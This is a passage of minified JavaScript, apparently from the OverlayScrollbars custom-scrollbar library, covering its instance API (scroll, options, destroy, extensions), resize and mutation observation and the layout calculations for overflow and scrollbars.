u&&(n=nr.css(be),f[be]=Qt?ce:le,f[de]=ge,nr.css(f)),e={w:i[xi.sW]+o,h:i[xi.sH]+o},u&&(f[be]=n,f[de]=ye,nr.css(f)),t=Ve(),r=fi(e,g),g=e,r||t}(),(e=t||r)&&qe({I:r,T:Ht?di:Vt})):n===dn?Vr?(i=z(O.takeRecords()),o=C(S.takeRecords())):i=Ot.update(ge):"zoom"===n&&qe({A:!0,I:!0}):(n=Ut||n,Ut=!1,Ot.update(dn)&&!n||qe({H:n})),Xe(),e||i||o},Ot.options=function(n,t){var r,e={};if(Ci.isEmptyObject(n)||!Ci.isPlainObject(n)){if(cn(n)!=gi)return u;if(!(1<arguments.length))return bt(u,n);!function a(n,t,r){for(var e=t.split(R),i=e.length,o=0,u={},f=u;o<i;o++)u=u[e[o]]=o+1<i?{}:r;Ci.extend(n,f,!0)}(e,n,t),r=ot(e)}else r=ot(n);Ci.isEmptyObject(r)||qe({T:r})},Ot.destroy=function(){if(!Et){for(var n in _t.remove(Ot),Qe(),je(Kt),je(Gt),jn)Ot.removeExt(n);for(;0<qn[xi.l];)qn.pop()();Ue(!0),rr&>(rr),tr&>(tr),Wt&>(Gt),at(!0),st(!0),ut(!0);for(var t=0;t<Qn[xi.l];t++)Ci(Qn[t]).off(Bn,rt);Qn=di,Ut=Et=!0,Ti(r,0),ti("onDestroyed")}},Ot.scroll=function(n,t,r,e){if(0===arguments.length||n===di){var i=Wr&&Qt&&Ct.i,o=Wr&&Qt&&Ct.n,u=vn.L,f=vn.R,a=vn.N;return f=i?1-f:f,u=i?a-u:u,a*=o?-1:1,{position:{x:u*=o?-1:1,y:hn.L},ratio:{x:f,y:hn.R},max:{x:a,y:hn.N},handleOffset:{x:vn.W,y:hn.W},handleLength:{x:vn.M,y:hn.M},handleLengthRatio:{x:vn.D,y:hn.D},trackLength:{x:vn.F,y:hn.F},snappedHandleOffset:{x:vn.P,y:hn.P},isRTL:Qt,isRTLNormalized:Wr}}Ot.update(dn);var c,s,l,v,h,g,w,d,p,y=Wr,b=[pn,le,"l"],m=[bn,ae,"t"],x=["+=","-=","*=","/="],_=cn(t)==pi,O=_?t.complete:e,S={},z={},C="begin",k="nearest",I="never",T="ifneeded",A=xi.l,H=[pn,bn,"xy","yx"],E=[C,"end","center",k],L=["always",I,T],R=n[xi.hOP]("el"),N=R?n.el:n,W=!!(N instanceof Ci||zi)&&N instanceof zi,M=!W&&ht(N),D=function(){s&&Je(!0),l&&Je(!1)},F=cn(O)!=bi?di:function(){D(),O()};function P(n,t){for(c=0;c<t[A];c++)if(n===t[c])return 1}function j(n,t){var r=n?b:m;if(t=cn(t)==gi||cn(t)==yi?[t,t]:t,Oi.isA(t))return n?t[0]:t[1];if(cn(t)==pi)for(c=0;c<r[A];c++)if(r[c]in t)return t[r[c]]}function B(n,t){var r,e,i,o,u=cn(t)==gi,f=n?vn:hn,a=f.L,c=f.N,s=Qt&&n,l=s&&Ct.n&&!y,v="replace",h=eval;if((e=u?(2<t[A]&&(o=t.substr(0,2),-1<sn(o,x)&&(r=o)),t=(t=r?t.substr(2):t)[v](/min/g,0)[v](/</g,0)[v](/max/g,(l?"-":me)+ye)[v](/>/g,(l?"-":me)+ye)[v](/px/g,me)[v](/%/g," * "+c*(s&&Ct.n?-1:1)/100)[v](/vw/g," * "+ee.w)[v](/vh/g," * "+ee.h),ii(isNaN(t)?ii(h(t),!0).toFixed():t)):t)!==di&&!isNaN(e)&&cn(e)==yi){var d=y&&s,p=a*(d&&Ct.n?-1:1),b=d&&Ct.i,m=d&&Ct.n;switch(p=b?c-p:p,r){case"+=":i=p+e;break;case"-=":i=p-e;break;case"*=":i=p*e;break;case"/=":i=p/e;break;default:i=e}i=b?c-i:i,i*=m?-1:1,i=s&&Ct.n?Si.min(0,Si.max(c,i)):Si.max(0,Si.min(c,i))}return i===a?di:i}function Q(n,t,r,e){var i,o,u=[r,r],f=cn(n);if(f==t)n=[n,n];else if(f==mi){if(2<(i=n[A])||i<1)n=u;else for(1===i&&(n[1]=r),c=0;c<i;c++)if(o=n[c],cn(o)!=t||!P(o,e)){n=u;break}}else n=f==pi?[n[pn]||r,n[bn]||r]:u;return{x:n[0],y:n[1]}}function U(n){var t,r,e=[],i=[ae,ce,se,le];for(c=0;c<n[A]&&c!==i[A];c++)t=n[c],(r=cn(t))==wi?e.push(t?ii(p.css(oe+i[c])):0):e.push(r==yi?t:0);return e}if(W||M){var V,$=R?n.margin:0,q=R?n.axis:0,X=R?n.scroll:0,Y=R?n.block:0,G=[0,0,0,0],K=cn($);if(0<(p=W?N:Ci(N))[A]){$=K==yi||K==wi?U([$,$,$,$]):K==mi?2===(V=$[A])?U([$[0],$[1],$[0],$[1]]):4<=V?U($):G:K==pi?U([$[ae],$[ce],$[se],$[le]]):G,h=P(q,H)?q:"xy",g=Q(X,gi,"always",L),w=Q(Y,gi,C,E),d=$;var J=vn.L,Z=hn.L,nn=Jt.offset(),tn=p.offset(),rn={x:g.x==I||h==bn,y:g.y==I||h==pn};tn[ae]-=d[0],tn[le]-=d[3];var en={x:Si.round(tn[le]-nn[le]+J),y:Si.round(tn[ae]-nn[ae]+Z)};if(Qt&&(Ct.n||Ct.i||(en.x=Si.round(nn[le]-tn[le]+J)),Ct.n&&y&&(en.x*=-1),Ct.i&&y&&(en.x=Si.round(nn[le]-tn[le]+(vn.N-J)))),w.x!=C||w.y!=C||g.x==T||g.y==T||Qt){var on=p[0],un=ln?on[xi.bCR]():{width:on[xi.oW],height:on[xi.oH]},fn={w:un[de]+d[3]+d[1],h:un[pe]+d[0]+d[2]},an=function(n){var t=ni(n),r=t.j,e=t.B,i=t.Q,o=w[i]==(n&&Qt?C:"end"),u="center"==w[i],f=w[i]==k,a=g[i]==I,c=g[i]==T,s=ee[r],l=nn[e],v=fn[r],h=tn[e],d=u?2:1,p=h+v/2,b=l+s/2,m=v<=s&&l<=h&&h+v<=l+s;a?rn[i]=!0:rn[i]||((f||c)&&(rn[i]=c&&m,o=v<s?b<p:p<b),en[i]-=o||u?(s/d-v/d)*(n&&Qt&&y?-1:1):0)};an(!0),an(!1)}rn.y&&delete en.y,rn.x&&delete en.x,n=en}}S[_e]=B(!0,j(!0,n)),S[Oe]=B(!1,j(!1,n)),s=S[_e]!==di,l=S[Oe]!==di,(s||l)&&(0<t||_)?_?(t.complete=F,Zt.animate(S,t)):(v={duration:t,complete:F},Oi.isA(r)||Ci.isPlainObject(r)?(z[_e]=r[0]||r.x,z[Oe]=r[1]||r.y,v.specialEasing=z):v.easing=r,Zt.animate(S,v)):(s&&Zt[_e](S[_e]),l&&Zt[Oe](S[Oe]),D())},Ot.scrollStop=function(n,t,r){return Zt.stop(n,t,r),Ot},Ot.getElements=function(n){var t={target:or,host:ur,padding:ar,viewport:cr,content:sr,scrollbarHorizontal:{scrollbar:a[0],track:s[0],handle:l[0]},scrollbarVertical:{scrollbar:v[0],track:b[0],handle:m[0]},scrollbarCorner:ir[0]};return cn(n)==gi?bt(t,n):t},Ot.getState=function(n){function t(n){if(!Ci.isPlainObject(n))return n;var r=ai({},n),t=function(n,t){r[xi.hOP](n)&&(r[t]=r[n],delete r[n])};return t("w",de),t("h",pe),delete r.c,r}var r={destroyed:!!t(Et),sleeping:!!t(Ut),autoUpdate:t(!Vr),widthAuto:t(br),heightAuto:t(mr),padding:t(wr),overflowAmount:t(kr),hideOverflow:t(pr),hasOverflow:t(dr),contentScrollSize:t(vr),viewportSize:t(ee),hostSize:t(lr),documentMixed:t(y)};return cn(n)==gi?bt(r,n):r},Ot.ext=function(n){var t,r="added removed on contract".split(" "),e=0;if(cn(n)==gi){if(jn[xi.hOP](n))for(t=ai({},jn[n]);e<r.length;e++)delete t[r[e]]}else for(e in t={},jn)t[e]=ai({},Ot.ext(e));return t},Ot.addExt=function(n,t){var r,e,i,o,u=ki.extension(n),f=!0;if(u){if(jn[xi.hOP](n))return Ot.ext(n);if((r=u.extensionFactory.call(Ot,ai({},u.defaultOptions),Ci,Oi))&&(i=r.contract,cn(i)==bi&&(o=i(vi),f=cn(o)==wi?o:f),f))return e=(jn[n]=r).added,cn(e)==bi&&e(t),Ot.ext(n)}else console.warn('A extension with the name "'+n+"\" isn't registered.")},Ot.removeExt=function(n){var t,r=jn[n];return!!r&&(delete jn[n],t=r.removed,cn(t)==bi&&t(),!0)},ki.valid(function yt(n,t,r){var e,i;return o=xt.defaultOptions,It=xt.nativeScrollbarStyling,At=ai({},xt.nativeScrollbarSize),St=ai({},xt.nativeScrollbarIsOverlaid),zt=ai({},xt.overlayScrollbarDummySize),Ct=ai({},xt.rtlScrollBehavior),ot(ai({},o,t)),Tt=xt.cssCalc,D=xt.msie,kt=xt.autoUpdateRecommended,F=xt.supportTransition,ln=xt.supportTransform,w=xt.supportPassiveEvents,T=xt.supportResizeObserver,d=xt.supportMutationObserver,xt.restrictedMeasuring,P=Ci(n.ownerDocument),A=P[0],f=Ci(A.defaultView||A.parentWindow),x=f[0],c=wt(P,"html"),j=wt(c,"body"),Xt=Ci(n),or=Xt[0],Lt=Xt.is("textarea"),Rt=Xt.is("body"),y=A!==hi,p=Lt?Xt.hasClass(mn)&&Xt.parent().hasClass(_n):Xt.hasClass(rn)&&Xt.children(R+wn)[xi.l],St.x&&St.y&&!Vt.nativeScrollbarsOverlaid.initialize?(ti("onInitializationWithdrawn"),p&&(ut(!0),at(!0),st(!0)),Ut=Et=!0):(Rt&&((e={}).l=Si.max(Xt[_e](),c[_e](),f[_e]()),e.t=Si.max(Xt[Oe](),c[Oe](),f[Oe]()),i=function(){Zt.removeAttr(xi.ti),Xn(Zt,U,i,!0,!0)}),ut(),at(),st(),ft(),ct(!0),ct(!1),function s(){var r,t=x.top!==x,e={},i={},o={};function u(n){if(a(n)){var t=c(n),r={};(ne||Zr)&&(r[de]=i.w+(t.x-e.x)*o.x),(te||Zr)&&(r[pe]=i.h+(t.y-e.y)*o.y),Yt.css(r),Oi.stpP(n)}else f(n)}function f(n){var t=n!==di;Xn(P,[K,$,V],[tt,u,f],!0),si(j,Mn),ir.releaseCapture&&ir.releaseCapture(),t&&(r&&Be(),Ot.update(ge)),r=!1}function a(n){var t=(n.originalEvent||n).touches!==di;return!Ut&&!Et&&(1===Oi.mBtn(n)||t)}function c(n){return D&&t?{x:n.screenX,y:n.screenY}:Oi.page(n)}Yn(ir,U,function(n){a(n)&&!Jr&&(Vr&&(r=!0,Qe()),e=c(n),i.w=ur[xi.oW]-(Nt?0:Mt),i.h=ur[xi.oH]-(Nt?0:Dt),o=vt(),Xn(P,[K,$,V],[tt,u,f]),ci(j,Mn),ir.setCapture&&ir.setCapture(),Oi.prvD(n),Oi.stpP(n))})}(),Gn(),je(Kt,Kn),Rt&&(Zt[_e](e.l)[Oe](e.t),hi.activeElement==n&&cr.focus&&(Zt.attr(xi.ti,"-1"),cr.focus(),Xn(Zt,U,i,!1,!0))),Ot.update(ge),Ht=!0,ti("onInitialized"),h(Fn,function(n,t){ti(t.n,t.a)}),Fn=[],cn(r)==gi&&(r=[r]),Oi.isA(r)?h(r,function(n,t){Ot.addExt(t)}):Ci.isPlainObject(r)&&h(r,function(n,t){Ot.addExt(n,t)}),setTimeout(function(){F&&!Et&&ci(Yt,an)},333)),Ot}(r,n,t))&&Ti(r,Ot),Ot}function Xn(n,t,r,e,i){var o=Oi.isA(t)&&Oi.isA(r),u=e?"removeEventListener":"addEventListener",f=e?"off":"on",a=!o&&t.split(xe),c=0,s=Ci.isPlainObject(i),l=w&&(s?i.U:i)||!1,v=s&&(i.V||!1),h=w?{passive:l,capture:v}:v;if(o)for(;c<t[xi.l];c++)Xn(n,t[c],r[c],e,i);else for(;c<a[xi.l];c++)w?n[0][u](a[c],r,h):n[f](a[c],r)}function Yn(n,t,r,e){Xn(n,t,r,!1,e),qn.push(Oi.bind(Xn,0,n,t,r,!0,e))}function je(n,t){if(n){var r=Oi.rO(),e="animationstart mozAnimationStart webkitAnimationStart MSAnimationStart",i="childNodes",o=3333333,u=function(){n[Oe](o)[_e](Qt?Ct.n?-o:Ct.i?0:o:o),t()};if(t){if(T)((k=n.addClass("observed").append(ui(On)).contents()[0])[Z]=new r(u)).observe(k);else if(9<D||!kt){n.prepend(ui(On,ui({c:Sn,dir:"ltr"},ui(Sn,ui(zn))+ui(Sn,ui({c:zn,style:"width: 200%; height: 200%"})))));var f,a,c,s,l=n[0][i][0][i][0],v=Ci(l[i][1]),h=Ci(l[i][0]),d=Ci(h[0][i][0]),p=l[xi.oW],b=l[xi.oH],m=xt.nativeScrollbarSize,g=function(){h[_e](o)[Oe](o),v[_e](o)[Oe](o)},w=function(){a=0,f&&(p=c,b=s,u())},y=function(n){return c=l[xi.oW],s=l[xi.oH],f=c!=p||s!=b,n&&f&&!a?(Oi.cAF()(a),a=Oi.rAF()(w)):n||w(),g(),n&&(Oi.prvD(n),Oi.stpP(n)),!1},x={},_={};ri(_,me,[-2*(m.y+1),-2*m.x,-2*m.y,-2*(m.x+1)]),Ci(l).css(_),h.on(we,y),v.on(we,y),n.on(e,function(){y(!1)}),x[de]=o,x[pe]=o,d.css(x),g()}else{var O=A.attachEvent,S=D!==di;if(O)n.prepend(ui(On)),wt(n,R+On)[0].attachEvent("onresize",u);else{var z=A.createElement(pi);z.setAttribute(xi.ti,"-1"),z.setAttribute(xi.c,On),z.onload=function(){var n=this.contentDocument.defaultView;n.addEventListener("resize",u),n.document.documentElement.style.display="none"},z.type="text/html",S&&n.prepend(z),z.data="about:blank",S||n.prepend(z),n.on(e,u)}}if(n[0]===H){var C=function(){var n=Yt.css("direction"),t={},r=0,e=!1;return n!==E&&(r="ltr"===n?(t[le]=0,t[ce]=ge,o):(t[le]=ge,t[ce]=0,Ct.n?-o:Ct.i?0:o),Kt.children().eq(0).css(t),Kt[_e](r)[Oe](o),E=n,e=!0),e};C(),Yn(n,we,function(n){return C()&&qe(),Oi.prvD(n),Oi.stpP(n),!1})}}else if(T){var k,I=(k=n.contents()[0])[Z];I&&(I.disconnect(),delete k[Z])}else gt(n.children(R+On).eq(0))}}function Gn(){if(d){var o,u,f,a,c,s,r,e,i,l,n=Oi.mO(),v=Oi.now();C=function(n){var t=!1;return Ht&&!Ut&&(h(n,function(){return!(t=function o(n){var t=n.attributeName,r=n.target,e=n.type,i="closest";if(r===sr)return null===t;if("attributes"===e&&(t===xi.c||t===xi.s)&&!Lt){if(t===xi.c&&Ci(r).hasClass(rn))return et(n.oldValue,r.className);if(typeof r[i]!=bi)return!0;if(null!==r[i](R+On)||null!==r[i](R+kn)||null!==r[i](R+Rn))return!1}return!0}(this))}),t&&(e=Oi.now(),i=mr||br,l=function(){Et||(v=e,Lt&&$e(),i?qe():Ot.update(ge))},clearTimeout(r),11<e-v||!i?l():r=setTimeout(l,11))),t},O=new n(z=function(n){var t,r=!1,e=!1,i=[];return Ht&&!Ut&&(h(n,function(){o=(t=this).target,u=t.attributeName,f=u===xi.c,a=t.oldValue,c=o.className,p&&f&&!e&&-1<a.indexOf(en)&&c.indexOf(en)<0&&(s=lt(!0),ur.className=c.split(xe).concat(a.split(xe).filter(function(n){return n.match(s)})).join(xe),r=e=!0),r=r||(f?et(a,c):u!==xi.s||a!==o[xi.s].cssText),i.push(u)}),it(i),r&&Ot.update(e||ge)),r}),S=new n(C)}}function Be(){d&&!Vr&&(O.observe(ur,{attributes:!0,attributeOldValue:!0,attributeFilter:$n}),S.observe(Lt?or:sr,{attributes:!0,attributeOldValue:!0,subtree:!Lt,childList:!Lt,characterData:!Lt,attributeFilter:Lt?Vn:$n}),Vr=!0)}function Qe(){d&&Vr&&(O.disconnect(),S.disconnect(),Vr=!1)}function Kn(){if(!Ut){var n,t={w:H[xi.sW],h:H[xi.sH]};n=fi(t,_),_=t,n&&qe({A:!0})}}function Jn(){Kr&&Ge(!0)}function Zn(){Kr&&!j.hasClass(Mn)&&Ge(!1)}function nt(){Gr&&(Ge(!0),clearTimeout(I),I=setTimeout(function(){Gr&&!Et&&Ge(!1)},100))}function tt(n){return Oi.prvD(n),!1}function rt(n){var r=Ci(n.target);mt(function(n,t){r.is(t)&&qe({I:!0})})}function Ue(n){n||Ue(!0),Xn(Yt,$.split(xe)[0],nt,!Gr||n,!0),Xn(Yt,[q,X],[Jn,Zn],!Kr||n,!0),Ht||n||Yt.one("mouseover",Jn)}function Ve(){var n={};return Rt&&tr&&(n.w=ii(tr.css(ve+de)),n.h=ii(tr.css(ve+pe)),n.c=fi(n,Ur),n.f=!0),!!(Ur=n).c}function et(n,t){var r,e,i=typeof t==gi?t.split(xe):[],o=function f(n,t){var r,e,i=[],o=[];for(r=0;r<n.length;r++)i[n[r]]=!0;for(r=0;r<t.length;r++)i[t[r]]?delete i[t[r]]:i[t[r]]=!0;for(e in i)o.push(e);return o}(typeof n==gi?n.split(xe):[],i),u=sn(De,o);if(-1<u&&o.splice(u,1),0<o[xi.l])for(e=lt(!0,!0),r=0;r<o.length;r++)if(!o[r].match(e))return!0;return!1}function it(n){h(n=n||Pn,function(n,t){if(-1<Oi.inA(t,Pn)){var r=Xt.attr(t);cn(r)==gi?Zt.attr(t,r):Zt.removeAttr(t)}})}function $e(){if(!Ut){var n,t,r,e,i=!Fr,o=ee.w,u=ee.h,f={},a=br||i;return f[ve+de]=me,f[ve+pe]=me,f[de]=ge,Xt.css(f),n=or[xi.oW],t=a?Si.max(n,or[xi.sW]-1):1,f[de]=br?ge:ye,f[ve+de]=ye,f[pe]=ge,Xt.css(f),r=or[xi.oH],e=Si.max(r,or[xi.sH]-1),f[de]=t,f[pe]=e,er.css(f),f[ve+de]=o,f[ve+pe]=u,Xt.css(f),{$:n,X:r,Y:t,G:e}}}function qe(n){clearTimeout(qt),n=n||{},Fe.A|=n.A,Fe.I|=n.I,Fe.H|=n.H;var t,r=Oi.now(),e=!!Fe.A,i=!!Fe.I,o=!!Fe.H,u=n.T,f=0<Pe&&Ht&&!Et&&!o&&!u&&r-$t<Pe&&!mr&&!br;if(f&&(qt=setTimeout(qe,Pe)),!(Et||f||Ut&&!u||Ht&&!o&&(t=Yt.is(":hidden"))||"inline"===Yt.css("display"))){$t=r,Fe={},!It||St.x&&St.y?At=ai({},xt.nativeScrollbarSize):(At.x=0,At.y=0),ie={x:3*(At.x+(St.x?0:3)),y:3*(At.y+(St.y?0:3))},u=u||{};var a=function(){return fi.apply(this,[].slice.call(arguments).concat([o]))},c={x:Zt[_e](),y:Zt[Oe]()},s=Vt.scrollbars,l=Vt.textarea,v=s.visibility,h=a(v,Hr),d=s.autoHide,p=a(d,Er),b=s.clickScrolling,m=a(b,Lr),g=s.dragScrolling,w=a(g,Rr),y=Vt.className,x=a(y,Mr),_=Vt.resize,O=a(_,Nr)&&!Rt,S=Vt.paddingAbsolute,z=a(S,Or),C=Vt.clipAlways,k=a(C,Sr),I=Vt.sizeAutoCapable&&!Rt,T=a(I,Ar),A=Vt.nativeScrollbarsOverlaid.showNativeScrollbars,H=a(A,Ir),E=Vt.autoUpdate,L=a(E,Tr),R=Vt.overflowBehavior,N=a(R,Cr,o),W=l.dynWidth,M=a(Qr,W),D=l.dynHeight,F=a(Br,D);if(Xr="n"===d,Yr="s"===d,Gr="m"===d,Kr="l"===d,qr=s.autoHideDelay,Dr=Mr,Jr="n"===_,Zr="b"===_,ne="h"===_,te="v"===_,Wr=Vt.normalizeRTL,A=A&&St.x&&St.y,Hr=v,Er=d,Lr=b,Rr=g,Mr=y,Nr=_,Or=S,Sr=C,Ar=I,Ir=A,Tr=E,Cr=ai({},R),Qr=W,Br=D,dr=dr||{x:!1,y:!1},x&&(si(Yt,Dr+xe+De),ci(Yt,y!==di&&null!==y&&0<y.length?y:De)),L&&(!0===E||null===E&&kt?(Qe(),_t.add(Ot)):(_t.remove(Ot),Be())),T)if(I)if(rr?rr.show():(rr=Ci(ui(Ee)),Jt.before(rr)),Wt)Gt.show();else{Gt=Ci(ui(Le)),fr=Gt[0],rr.before(Gt);var P={w:-1,h:-1};je(Gt,function(){var n={w:fr[xi.oW],h:fr[xi.oH]};fi(n,P)&&(Ht&&mr&&0<n.h||br&&0<n.w||Ht&&!mr&&0===n.h||!br&&0===n.w)&&qe(),P=n}),Wt=!0,null!==Tt&&Gt.css(pe,Tt+"(100% + 1px)")}else Wt&&Gt.hide(),rr&&rr.hide();o&&(Kt.find("*").trigger(we),Wt&&Gt.find("*").trigger(we)),t=t===di?Yt.is(":hidden"):t;var j,B=!!Lt&&"off"!==Xt.attr("wrap"),Q=a(B,Fr),U=Yt.css("direction"),V=a(U,_r),$=Yt.css("box-sizing"),q=a($,gr),X=ei(ue);try{j=Wt?fr[xi.bCR]():null}catch(wt){return}Nt="border-box"===$;var Y=(Qt="rtl"===U)?le:ce,G=Qt?ce:le,K=!1,J=!(!Wt||"none"===Yt.css(be))&&(0===Si.round(j.right-j.left)&&(!!S||0<ur[xi.cW]-Mt));if(I&&!J){var Z=ur[xi.oW],nn=rr.css(de);rr.css(de,ge);var tn=ur[xi.oW];rr.css(de,nn),(K=Z!==tn)||(rr.css(de,Z+1),tn=ur[xi.oW],rr.css(de,nn),K=Z!==tn)}var rn=(J||K)&&I&&!t,en=a(rn,br),on=!rn&&br,un=!(!Wt||!I||t)&&0===Si.round(j.bottom-j.top),fn=a(un,mr),an=!un&&mr,cn=ei(fe,"-"+de,!(rn&&Nt||!Nt),!(un&&Nt||!Nt)),sn=ei(oe),ln={},vn={},hn=function(){return{w:ur[xi.cW],h:ur[xi.cH]}},dn=function(){return{w:ar[xi.oW]+Si.max(0,sr[xi.cW]-sr[xi.sW]),h:ar[xi.oH]+Si.max(0,sr[xi.cH]-sr[xi.sH])}},pn=Mt=X.l+X.r,bn=Dt=X.t+X.b;if(pn*=S?1:0,bn*=S?1:0,X.c=a(X,wr),Ft=cn.l+cn.r,Pt=cn.t+cn.b,cn.c=a(cn,yr),jt=sn.l+sn.r,Bt=sn.t+sn.b,sn.c=a(sn,xr),Fr=B,_r=U,gr=$,br=rn,mr=un,wr=X,yr=cn,xr=sn,V&&Wt&&Gt.css(be,G),X.c||V||z||en||fn||q||T){var mn={},gn={},wn=[X.t,X.r,X.b,X.l];ri(vn,oe,[-X.t,-X.r,-X.b,-X.l]),S?(ri(mn,me,wn),ri(Lt?gn:ln,ue)):(ri(mn,me),ri(Lt?gn:ln,ue,wn)),Jt.css(mn),Xt.css(gn)}ee=dn();var yn=!!Lt&&$e(),xn=Lt&&a(yn,jr),_n=Lt&&yn?{w:W?yn.Y:yn.$,h:D?yn.G:yn.X}:{};if(jr=yn,un&&(fn||z||q||X.c||cn.c)?ln[pe]=ge:(fn||z)&&(ln[pe]=ye),rn&&(en||z||q||X.c||cn.c||V)?(ln[de]=ge,vn[he+de]=ye):(en||z)&&(ln[de]=ye,ln[be]=me,vn[he+de]=me),rn?(vn[de]=ge,ln[de]=_i.d(de,"max-content intrinsic")||ge,ln[be]=G):vn[de]=me,vn[pe]=un?_n.h||sr[xi.cH]:me,I&&rr.css(vn),nr.css(ln),ln={},vn={},e||i||xn||V||q||z||en||rn||fn||un||H||N||k||O||h||p||w||m||M||F||Q){var On="overflow",Sn=On+"-x",zn=On+"-y";if(!It){var Cn={},kn=dr.y&&pr.ys&&!A?St.y?Zt.css(Y):-At.y:0,In=dr.x&&pr.xs&&!A?St.x?Zt.css(se):-At.x:0;ri(Cn,me),Zt.css(Cn)}var Tn=oi(),An={w:_n.w||Tn[xi.cW],h:_n.h||Tn[xi.cH]},Hn=Tn[xi.sW],En=Tn[xi.sH];It||(Cn[se]=an?me:In,Cn[Y]=on?me:kn,Zt.css(Cn)),ee=dn();var Ln=hn(),Rn={w:Ln.w-jt-Ft-(Nt?0:Mt),h:Ln.h-Bt-Pt-(Nt?0:Dt)},Nn={w:Si.max((rn?An.w:Hn)+pn,Rn.w),h:Si.max((un?An.h:En)+bn,Rn.h)};if(Nn.c=a(Nn,zr),zr=Nn,I){(Nn.c||un||rn)&&(vn[de]=Nn.w,vn[pe]=Nn.h,Lt||(An={w:Tn[xi.cW],h:Tn[xi.cH]}));var Wn={},Mn=function(n){var t=ni(n),r=t.j,e=t.K,i=n?rn:un,o=n?Ft:Pt,u=n?Mt:Dt,f=n?jt:Bt,a=ee[r]-o-f-(Nt?0:u);i&&(i||!cn.c)||(vn[e]=Rn[r]-1),!(i&&An[r]<a)||n&&Lt&&B||(Lt&&(Wn[e]=ii(er.css(e))-1),--vn[e]),0<An[r]&&(vn[e]=Si.max(1,vn[e]))};Mn(!0),Mn(!1),Lt&&er.css(Wn),rr.css(vn)}rn&&(ln[de]=ye),!rn||Nt||Vr||(ln[be]="none"),nr.css(ln),ln={};var Dn={w:Tn[xi.sW],h:Tn[xi.sH]};Dn.c=i=a(Dn,vr),vr=Dn,ee=dn(),e=a(Ln=hn(),lr),lr=Ln;var Fn=Lt&&(0===ee.w||0===ee.h),Pn=kr,jn={},Bn={},Qn={},Un={},Vn={},$n={},qn={},Xn=ar[xi.bCR](),Yn=function(n){var t=ni(n),r=ni(!n).Q,e=t.Q,i=t.j,o=t.K,u=we+t.J+"Max",f=Xn[o]?Si.abs(Xn[o]-ee[i]):0,a=Pn&&0<Pn[e]&&0===cr[u];jn[e]="v-s"===R[e],Bn[e]="v-h"===R[e],Qn[e]="s"===R[e],Un[e]=Si.max(0,Si.round(100*(Dn[i]-ee[i]))/100),Un[e]*=Fn||a&&0<f&&f<1?0:1,Vn[e]=0<Un[e],$n[e]=jn[e]||Bn[e]?Vn[r]&&!jn[r]&&!Bn[r]:Vn[e],$n[e+"s"]=!!$n[e]&&(Qn[e]||jn[e]),qn[e]=Vn[e]&&$n[e+"s"]};if(Yn(!0),Yn(!1),Un.c=a(Un,kr),kr=Un,Vn.c=a(Vn,dr),dr=Vn,$n.c=a($n,pr),pr=$n,St.x||St.y){var Gn,Kn={},Jn={},Zn=o;(Vn.x||Vn.y)&&(Jn.w=St.y&&Vn.y?Dn.w+zt.y:me,Jn.h=St.x&&Vn.x?Dn.h+zt.x:me,Zn=a(Jn,hr),hr=Jn),(Vn.c||$n.c||Dn.c||V||en||fn||rn||un||H)&&(ln[oe+G]=ln[fe+G]=me,Gn=function(n){var t=ni(n),r=ni(!n),e=t.Q,i=n?se:Y,o=n?un:rn;St[e]&&Vn[e]&&$n[e+"s"]?(ln[oe+i]=!o||A?me:zt[e],ln[fe+i]=n&&o||A?me:zt[e]+"px solid transparent"):(Jn[r.j]=ln[oe+i]=ln[fe+i]=me,Zn=!0)},It?li(Zt,Ae,!A):(Gn(!0),Gn(!1))),A&&(Jn.w=Jn.h=me,Zn=!0),Zn&&!It&&(Kn[de]=$n.y?Jn.w:me,Kn[pe]=$n.x?Jn.h:me,tr||(tr=Ci(ui(He)),Zt.prepend(tr)),tr.css(Kn)),nr.css(ln)}var nt,tt={};mn={};if((e||Vn.c||$n.c||Dn.c||N||q||H||V||k||fn)&&(tt[G]=me,(nt=function(n){var t=ni(n),r=ni(!n),e=t.Q,i=t.Z,o=n?se:Y,u=function(){tt[o]=me,re[r.j]=0};Vn[e]&&$n[e+"s"]?(tt[On+i]=we,A||It?u():(tt[o]=-(St[e]?zt[e]:At[e]),re[r.j]=St[e]?zt[r.Q]:0)):(tt[On+i]=me,u())})(!0),nt(!1),!It&&(ee.h<ie.x||ee.w<ie.y)&&(Vn.x&&$n.x&&!St.x||Vn.y&&$n.y&&!St.y)?(tt[ue+ae]=ie.x,tt[oe+ae]=-ie.x,tt[ue+G]=ie.y,tt[oe+G]=-ie.y):tt[ue+ae]=tt[oe+ae]=tt[ue+G]=tt[oe+G]=me,tt[ue+Y]=tt[oe+Y]=me,Vn.x&&$n.x||Vn.y&&$n.y||Fn?Lt&&Fn&&(mn[Sn]=mn[zn]="hidden"):(!C||Bn.x||jn.x||Bn.y||jn.y)&&(Lt&&(mn[Sn]=mn[zn]=me),tt[Sn]=tt[zn]="visible"),Jt.css(mn),Zt.css(tt),tt={},(Vn.c||q||en||fn)&&(!St.x||!St.y))){var rt=sr[xi.s];rt.webkitTransform="scale(1)",rt.display="run-in",sr[xi.oH],rt.display=me,rt.webkitTransform=me}if(ln={},V||en||fn)if(Qt&&rn){var et=nr.css(be),it=Si.round(nr.css(be,me).css(le,me).position().left);nr.css(be,et),it!==Si.round(nr.position().left)&&(ln[le]=it)}else ln[le]=me;if(nr.css(ln),Lt&&i){var ot=function yt(){var n=or.selectionStart;if(n===di)return;var t,r,e=Xt.val(),i=e[xi.l],o=e.split("\n"),u=o[xi.l],f=e.substr(0,n).split("\n"),a=0,c=0,s=f[xi.l],l=f[f[xi.l]-1][xi.l];for(r=0;r<o[xi.l];r++)t=o[r][xi.l],c<t&&(a=r+1,c=t);return{nn:s,tn:l,rn:u,en:c,"in":a,un:n,an:i}}();if(ot){var ut=Pr===di||ot.rn!==Pr.rn,ft=ot.nn,at=ot.tn,ct=ot["in"],st=ot.rn,lt=ot.en,vt=ot.un,ht=ot.an<=vt&&$r,dt={x:B||at!==lt||ft!==ct?-1:kr.x,y:(B?ht||ut&&Pn&&c.y===Pn.y:(ht||ut)&&ft===st)?kr.y:-1};c.x=-1<dt.x?Qt&&Wr&&Ct.i?0:dt.x:c.x,c.y=-1<dt.y?dt.y:c.y}Pr=ot}Qt&&Ct.i&&St.y&&Vn.x&&Wr&&(c.x+=re.w||0),rn&&Yt[_e](0),un&&Yt[Oe](0),Zt[_e](c.x)[Oe](c.y);var 